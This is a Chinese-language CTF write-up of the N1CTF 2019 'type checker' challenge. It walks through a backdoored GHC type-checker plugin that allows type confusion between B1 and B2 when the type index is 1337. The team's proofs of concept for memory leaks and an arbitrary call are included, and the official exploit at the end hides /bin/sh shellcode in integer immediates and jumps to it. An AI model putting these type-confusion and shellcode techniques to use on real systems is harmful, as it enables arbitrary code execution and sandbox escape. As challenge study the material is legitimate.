logo头像

Hacked By Swing

N1CTF 2019 type checker writeup

N1CTF type checker writeup

废话

首先是一些废话。最近的 CTF 时间都不是很好, N1CTF 正好碰见我开学,要体检之类的事情,导致中间疯狂划水,最后成绩也不是很好。

这次比赛基本就看了这一个题,最后卡在了控制流程之后不知道怎么做,比较可惜,做一个简单的记录,记一下做题过程。

题目介绍

题目文件包括一个 Dockerfile 给出了题目的环境,以及一个 haskell stack 的项目,其中有 srcchal 两个目录。

由于对 haskell 的项目并不是很熟悉,一开始花了一些时间去熟悉了一下开发环境,根据 backdoor.cabal 文件看到了项目包括的东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
library
exposed-modules: GHC.Types.Backdoor
, GHC.Types.Backdoor.Solver
build-depends: base ^>=4.12.0.0
, ghc == 8.6.5
, ghc-boot == 8.6.5
, ghc-tcplugins-extra
hs-source-dirs: src
default-language: Haskell2010

executable cnc
main-is: Main.hs
other-modules: Checker
, Executor
build-depends: base ^>=4.12.0.0
, ghc == 8.6.5
, ghc-boot == 8.6.5
, ghc-paths
-- , unix
-- , process
hs-source-dirs: chal
ghc-options: -O3
default-language: Haskell2010

这是题目的编译内容,包括一个库和一个可执行文件 cnc

经过一些资料查证,基本可以确认这是 GHC ( haskell 目前最为流行的编译器)的一个插件。接下来的部分其实是最耗时的,主要是需要理解这个插件的基本功能,了解插件的基本写法等。

收集到的一些资料内容:

https://gitlab.haskell.org/ghc/ghc/wikis/plugins/type-checker https://christiaanb.github.io/posts/type-checker-plugin/ https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/extending_ghc.html#writing-compiler-plugins

chal 中的是编译出的服务,用来限制能力,例如能够 import 的内容等,这里就不再赘述了。

理解类型插件

这一部分就比较难解释了,因为其实我自己也没有彻底把 type check 这一部分弄明白。

根据我粗浅的理解, typecheck 可以认为就是约束求解的一个过程,在 haskell 中存在类型推导,而约束求解就是找出满足类型约束的一个具体类型,将其填入,如果找不到相应的类型约束,则认为 typecheck 失败,也就是用户给出的类型不合法。

结合一下题目的代码,这一部分位于 src/GHC/Types/Backdoor/Solver.hs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
{-# LANGUAGE OverloadedStrings #-}
module GHC.Types.Backdoor.Solver ( plugin ) where

import Data.Maybe ( mapMaybe )
import Debug.Trace ( trace )

import Plugins ( Plugin(..), defaultPlugin )
import Module ( mkModuleName )
import FastString ( fsLit )
import OccName ( mkTcOcc )
import TcPluginM ( TcPluginM, tcLookupTyCon, tcPluginTrace, tcPluginIO )
import TcRnTypes ( Ct(..), TcPlugin(..), TcPluginResult(..), ctEvidence, ctEvPred )
import TyCon ( TyCon(..) )
import TcEvidence ( EvTerm(..) )
import TyCoRep ( Type(..), TyLit(..) )

import Type ( PredTree(..), EqRel(..), classifyPredType )
import Outputable
import GHC.TcPluginM.Extra ( evByFiat, lookupModule, lookupName )

-- 插件类型,这一部分可以在文档里找到。
-- 主要目的是让 GHC 能够找到这个插件(并且知道其内容)
plugin :: Plugin
plugin = defaultPlugin { tcPlugin = \_ -> Just myPlugin }

-- 自定义的插件,给出插件涉及的函数
myPlugin :: TcPlugin
myPlugin =
TcPlugin { tcPluginInit = pluginInit
, tcPluginSolve = pluginSolve
, tcPluginStop = \_ -> return ()
}

-- 根据查找的一些资料,一个 TyCon 代表一个 Type Constructor
-- 这个函数初始化了自定义插件,基本工作就是找到了两个 Type Constructor,
-- 分别名为 B1 和 B2,作为插件的内部状态,这两个位于 GHC.Types.Backdoor 里
-- Find our custom tycon
pluginInit :: TcPluginM (TyCon, TyCon)
pluginInit = do
mod <- lookupModule (mkModuleName "GHC.Types.Backdoor") (fsLit "backdoor")
n1 <- lookupName mod $ mkTcOcc "B1"
n2 <- lookupName mod $ mkTcOcc "B2"
tc1 <- tcLookupTyCon n1
tc2 <- tcLookupTyCon n2
return (tc1, tc2)

-- 这里是约束求解,也就是进行真正的类型推导和类型检查。
-- Ct --> Constraint,也就是约束,
-- Solve constraints,三个约束分别代表:
-- Given Constraint : 应该是指已经推导出的部分
-- Derived Constriant : 不知道这是啥
-- Wanted Constraint : 想要确认是否成立的约束
--
-- 所以这个函数所做的事情:
-- 1. 如果想要确认的约束为空,则表示通过
-- 2. 如果不为空,且之前在初始化时找到的两个类型构造器( B1 和 B2 )存在,则
-- 调用 backdoorEquality ,检查两个类型构造器是否满足要求
pluginSolve :: (TyCon, TyCon) -> [Ct] -> [Ct] -> [Ct] -> TcPluginM TcPluginResult
pluginSolve _ _ _ [] = return $ TcPluginOk [] []
pluginSolve (tc1, tc2) _ _ wanteds = do
return $ TcPluginOk (mapMaybe (backdoorEquality tc1 tc2) wanteds) []

-- 这里是具体的检查函数,检查两个类型构造器是否满足需要的约束 ct 的要求。
-- 具体方法: 调用 ofBackdoorTycon 确认两个 Type 是否符合要求。
backdoorEquality :: TyCon -> TyCon -> Ct -> Maybe (EvTerm, Ct)
backdoorEquality tc1 tc2 ct =
case classifyPredType $ ctEvPred $ ctEvidence ct of
EqPred NomEq t1 t2 ->
case bdrs t1 t2 of
True -> Just (mkEv t1 t2, ct)
False -> Nothing
_ -> Nothing
where
mkEv t1 t2 = evByFiat "backdoor" t1 t2
bdrs t1 t2 = (&&) (ofBackdoorTycon tc1 t1) $ ofBackdoorTycon tc2 t2

ofBackdoorTycon :: TyCon -> Type -> Bool
ofBackdoorTycon bdcon (TyConApp tycon [LitTy (NumTyLit i), _]) = (&&) (tycon == bdcon) (i == 1337)
ofBackdoorTycon _ _ = False

最后的效果: 1. 对于 B1 和 B2,其类型在 src/GHC/Types/Backdoor.hs 中:

1
2
data B1 (a :: Nat) b = B1 { unB1 :: b }
data B2 (a :: Nat) b = B2 { unB2 :: b }
2. 当 a 为 1337 时,可以将 B1 和 B2 认为类型合法。

类型混淆

其实到这个时候我们已经基本看完了题目了,这个时候我们已经可以基本确认题目的问题:

由于 B1 和 B2 内部所包含的类型,也就是类型 b 可以不相同,而在类型检查的时候,只检查了 a 是否为 1337 ,以及类型比较的双方是否为 B1 和 B2,其他则认为合法,这就会导致可以将 B1 转换 为 B2,而内部类型并不相同。

这就导致了类型混淆的问题。

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{-# LANGUAGE DataKinds, KindSignatures #-}

-- module GHC.Types.Backdoor ( B1(..), B2(..) ) where

-- import GHC.TypeNats ( Nat(..) )

-- data B1 (a :: Nat) b = B1 { unB1 :: b }
-- data B2 (a :: Nat) b = B2 { unB2 :: b }

module Main where

import GHC.Types.Backdoor

myVal :: B1 1337 Int
myVal = B1 { unB1 = 1234 }

testVal :: B2 1337 String
testVal = myVal

extractVal :: String
extractVal = (unB2 testVal)

main :: IO ()
main = putStrLn extractVal

一些测试

这个时候,思路就应当是理解 haskell 的内存模型,并且去构造类型从而做到类似于任意读写或是任意代码调用。

对此我们找到了一些资料:

https://gitlab.haskell.org/ghc/ghc/wikis/commentary/rts/storage/heap-objects https://gitlab.haskell.org/ghc/ghc/wikis/debugging/compiled-code

然而由于我们对 GHC 的不熟悉,我们在大致看了一下资料后,发现理解有一些困难,所以直接尝试了一些方法。

一些思路是显然的,比如我们知道 a -> b 是一个函数,所以我们会尝试将一个数据作为函数去测试。类似的方法使得我们得到了以下的 poc :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{-# LANGUAGE DataKinds, KindSignatures #-}

module Main where
import GHC.Types.Backdoor

aCallB1 :: B1 1337 Int
aCallB1 = B1 { unB1 = 0xdeadbeef }

aCall :: B2 1337 (Int -> String)
aCall = aCallB1

call ::String
call = (unB2 aCall) 0

str :: String
str = "AAAAAAAAA"

leak1 :: B1 1337 String
leak1 = B1 {unB1 = str}

leak2 :: B2 1337 Int
leak2 = leak1

leak :: Int
leak = (unB2 leak2)

main = do
print $ leak

经过一些包装,得到了以下的任意调用 poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
{-# LANGUAGE DataKinds, KindSignatures #-}

module Main where

import Prelude
import GHC.Types.Backdoor

-- import Debug.Trace

-- ffi_call :: Int
-- ffi_call = 0x400000

data Wrap a = Wrap { unWrap :: a} deriving (Show)
data Leak a = Leak { unLeak :: a} deriving (Show)

infoAddr :: Int -> Wrap Int
infoAddr a = Wrap { unWrap = a }

callB1 :: Int -> B1 1337 Int
callB1 addr = B1 { unB1 = addr }

callB2 :: B1 1337 Int -> B2 1337 (a -> b)
callB2 b1 = b1


leakUtil :: a -> Wrap a
leakUtil addr = Wrap { unWrap = addr }

leakMagic :: Wrap a -> b
leakMagic wrapped = unB2 $ toB2 $ toB1 wrapped
where toB1 :: Wrap a -> B1 1337 (Wrap a)
toB1 wrapped = B1 { unB1 = wrapped }
toB2 :: B1 1337 a -> B2 1337 b
toB2 b1 = b1
leak :: a -> Int
leak thing = leakMagic $ leakUtil thing

anyCall :: Int -> a -> b
anyCall addr = (unB2 $ callB2 $ callB1 ((leak $ infoAddr addr) - 1 - 0x88))


main :: IO ()
main = do
-- putStrLn $ show $ leak $ infoAddr 0xdeadbeef
putStrLn $ anyC

接下来的步骤?

到现在,也就是我们在比赛中做到的地方了。

接下来我们的尝试主要集中于以下几个方面:

  • 尝试找带有连续数据的数据结构(例如 Array),通过伪造结构做到任意读写: 然而事实上这样的数据结构在 Prelude 中是不存在的, Haskell 的 String 其实是 [Char],也就是字符的链表,所以也无法使用。
  • 尝试查找一个能够唤起 shell 的 One Gadget : 由于 Haskell 不会导入不会用到的库,而当前所用到的库中没有,所以这个方法也失败了。
  • 尝试查找一个足够好的函数,用于完成一些额外工作: 这一部分是一直到比赛结束我们一直在尝试的,最后也没有找到一个具有很好性质的函数可以用于完成任意读写等操作。

解决方法?

对于这个题,我们最终缺少了一个关键的步骤。这个步骤所依赖的知识在文档中我们其实已经看到,但是缺少一个方法,最终没能完成。

通过查看 writeup ,我们发现了最后的方法:

使用类似 jit spray 的技术,通过立即数内容,将 shellcode 写在 text 中。

这里的假设是本地和远程的编译结果一样,这个在版本一致时基本可以保证。

总结

这但是加强了对 haskell 的理解,对于接触 haskell 时间不长的同学来说是一个加强理解的不错的题目。道题目我们最后缺失了 jit spray 的方法没能完成,应当活用 jit spray 利用立即数传入 shellcode 的手法。

官方 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
{-# LANGUAGE OverloadedStrings, DataKinds, KindSignatures,
ScopedTypeVariables #-}
{-# OPTIONS_GHC -O3 #-}
import GHC.Types.Backdoor

backdoor :: B1 1337 a -> B2 1337 b
backdoor = id

unsafeCoerce :: a -> b
unsafeCoerce x = unB2 (backdoor $ B1 x)

data Wrap a = Wrap { unwrap :: a }

-- exploit the structure of the closure to read memory
readMem :: Int -> Int
readMem addr = unwrap (unsafeCoerce (addr - 7))

-- TODO: maybe related to trunk evaluation?
-- jmpq *(%rbx)
jmp :: Int -> ()
jmp addr = func (unwrap (unsafeCoerce addr)) `seq` ()

-- `seq` forces strictness on the first argument
-- ... or use BangPatterns for strictness
getAddr :: a -> Int
getAddr x = (y `seq` unsafeCoerce y) - 1
where y = Wrap x

func :: [Int] -> Int
func [] = 0
func [x] = x
func (x:xs) = func xs

-- hardcoded shellcode function
-- use -O3 to make shellcode compact
hard :: Int -> Int
hard 0 = 1
hard n =
0x909090909090050f * hard (n - 16) +
0xdeb90909090d231 * hard (n - 15) +
0xdeb909090909058 * hard (n - 14) +
0xdeb909090903b6a * hard (n - 13) +
0xdeb909090df8948 * hard (n - 12) +
0xdeb909090e68948 * hard (n - 11) +
0xdeb909090909053 * hard (n - 10) +
0xdeb90004a3e95bb * hard (n - 9) +
0xdeb909090905441 * hard (n - 8) +
0xdeb909090909053 * hard (n - 7) +
0xdeb909090909050 * hard (n - 6) +
0xdeb90909090c031 * hard (n - 5) +
0xdeb90004a3e9fbb * hard (n - 4) +
0xdeb909090e48949 * hard (n - 3) +
0x6eb900000632d68 * hard (n - 2)


-- make it a closure so we can jmp to the shellcode
shellcodeAddr :: Int
shellcodeAddr = 4220274

caddr :: Int
caddr = getAddr shellcodeAddr

cmdBuf :: String
cmdBuf = "/bin/sh"

strBuf :: String
strBuf = "/bin/bash"

main :: IO ()
main = do
let x = caddr + 8 -- the address of the integer (which INTLIKE closure encloses)
print (jmp x)
y <- getLine
print cmdBuf -- ensure these two commands don't get optimized out
print strBuf
print $ hard $ read y -- ensure 'hard' doesn't get optimized out
return ()